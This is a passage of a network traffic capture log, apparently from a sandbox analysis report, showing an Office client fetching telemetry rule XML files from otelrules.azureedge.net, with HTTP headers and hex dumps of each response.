encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:47 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:47 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:47 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 6d560277-a01e-0050-158c-3adb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200547Z-185f5d8b95c4vwv8hC1NYCy4v40000000asg000000012um7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:47 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:47 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:47 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:47 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 3044792c-001e-005a-088c-3ac3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200547Z-1777c6cb754vxwc9hC1TEBykgw0000000a30000000009fc8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:47 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:47 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:47 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:47 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: c9275fb5-a01e-000d-708c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200547Z-r1d97b99577ndm4rhC1TEBf0ps00000009f0000000009cy7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:47 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:47 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:48 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:48 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2155ac17-401e-00a3-238c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200548Z-178bfbc474bmqmgjhC1NYCy16c00000000gg000000006dmy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:48 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:49 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:50 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:50 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c7391ddf-401e-0064-3568-3b54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200550Z-178bfbc474bmqmgjhC1NYCy16c00000000e0000000005et6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:50 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:49 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:50 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:50 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 7ca1e40b-601e-003d-2f8c-3a6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200550Z-r1d97b99577l6wbzhC1TEB3fwn00000009h0000000003shh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:50 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:49 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:50 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:50 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: e7f96b90-101e-008e-3275-3bcf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200550Z-r1d97b9957744xz5hC1TEB5bf8000000097g00000000a6vr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:50 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:49 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:50 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:50 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 44a56bea-901e-0064-626a-3be8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200550Z-185f5d8b95cjbkr4hC1NYCeu240000000ahg00000000p8k2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:50 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:52 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:52 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:52 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5c785bae-401e-0083-638c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200552Z-1777c6cb7549x5qchC1TEBggbg0000000a70000000002fm5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:52 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:52 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:52 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:52 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f909f157-c01e-0049-018c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200552Z-185f5d8b95c4vwv8hC1NYCy4v40000000ay0000000002cbx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:52 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:52 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:52 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:52 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: cd6c36a4-201e-000c-237c-3b79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200552Z-185f5d8b95cgrrn8hC1NYCgwh40000000ap0000000002q9h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:52 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:52 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:52 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:52 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 7bd1ae59-401e-008c-598c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200552Z-185f5d8b95crwqd8hC1NYCps680000000atg0000000010ka x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
